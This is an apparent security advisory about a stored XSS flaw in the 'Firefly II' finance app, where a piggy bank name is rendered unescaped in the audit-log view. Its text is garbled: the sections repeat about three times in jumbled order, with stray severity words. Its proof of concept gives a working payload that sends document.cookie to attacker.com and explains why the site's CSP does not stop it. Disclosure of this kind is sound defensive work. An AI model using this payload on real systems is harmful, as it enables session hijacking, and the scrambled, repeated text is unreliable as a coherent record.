POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"